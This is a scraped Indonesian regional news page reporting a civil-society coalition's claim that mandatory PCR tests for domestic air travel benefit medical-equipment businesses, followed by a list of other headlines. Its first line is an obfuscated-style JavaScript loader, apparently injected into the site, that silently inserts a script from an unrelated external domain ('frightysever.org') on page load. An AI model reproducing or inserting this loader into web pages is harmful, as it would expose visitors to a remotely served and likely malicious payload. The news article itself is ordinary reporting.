(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Koalisi Sipil: Syarat Wajib Tes PCR di Transportasi Untungkan Pebisnis Alat Kesehatan


KANALKALIMANTAN.COM, JAKARTA– Koalisi Masyarakat Sipil untuk Kesehatan dan Keadilan menduga kebijakan pemerintah mewajibkan tes PCR bagi penumpang pesawat penerbangan domestik hanya untuk mengakomodir kepentingan pebisnis alat kesehatan.

“Penurunan harga jasa pelayanan pemeriksaan PCR oleh pemerintah tidak mencerminkan asas transparansi dan akuntabilitas. Kebijakan ini diduga hanya untuk mengakomodir kepentingan kelompok tertentu yang memiliki bisnis alat kesehatan,” tulis Koalisi dalam keterangannya, Minggu (31/10/2021).

Lebih jauh, Koalisi Masyarakat Sipil yang terdiri dari Indonesia Corruption Watch (ICW), Yayasan Lembaga Bantuan Hukum Indonesia (YLBHI), Lokataru, dan LaporCovid-19, mempertanyakan kenapa harga atau biaya tes PCR baru diturunkan saat tingkat penularan pandemi Covid-19 sudah melandai. Sementara saat terjadi gelombang pertama dan kedua, banyak orang justru kesulitan menjangkau tes PCR akibat terlalu mahal.

“Kami melihat bahwa penurunan harga ini seharusnya dapat dilakukan ketika gelombang kedua melanda, sehingga warga tidak kesulitan mendapatkan hak atas kesehatannya,” sambung pihak Koalisi.

 

Baca juga : Viral Jemaah Meninggal Setelah Tanya Penceramah Apa Bisa Bertemu Rasulullah SAW

Mereka menilai penurunan harga hingga Rp 300 ribu oleh pemerintah juga harus didesak terlebih dahulu oleh masyarakat, bukan atas inisiatif dari pemerintah langsung.

“Sudah jelas pemerintah tidak menggunakan prinsip kedaruratan kesehatan masyarakat dan mementingkan kepentingan kelompok bisnis tertentu,” tegasnya.

Terlebih, penurunan harga dilakukan hanya untuk menggenjot mobilitas masyarakat demi pemulihan ekonomi, bukan didasari pada asas kesehatan masyarakat.

Oleh sebab itu, koalisi mendesak pemerintah untuk menghentikan segala upaya untuk mengakomodir kepentingan bisnis tertentu melalui kebijakan. Lalu, Kementerian Kesehatan diminta membuka informasi mengenai komponen pembentuk tarif pemeriksaan PCR beserta dengan besaran persentasenya, dan menggratiskan pemeriksaan PCR bagi seluruh masyarakat.(Suara)

Editor : suara


Desy Arfianty

Recent Posts

Pj Bupati Erlin Hardi Berdialog dengan Mahasiswa Kapuas di Yogya

KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More

1 jam ago

Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

2 jam ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

15 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

15 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

16 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

16 jam ago

This website uses cookies.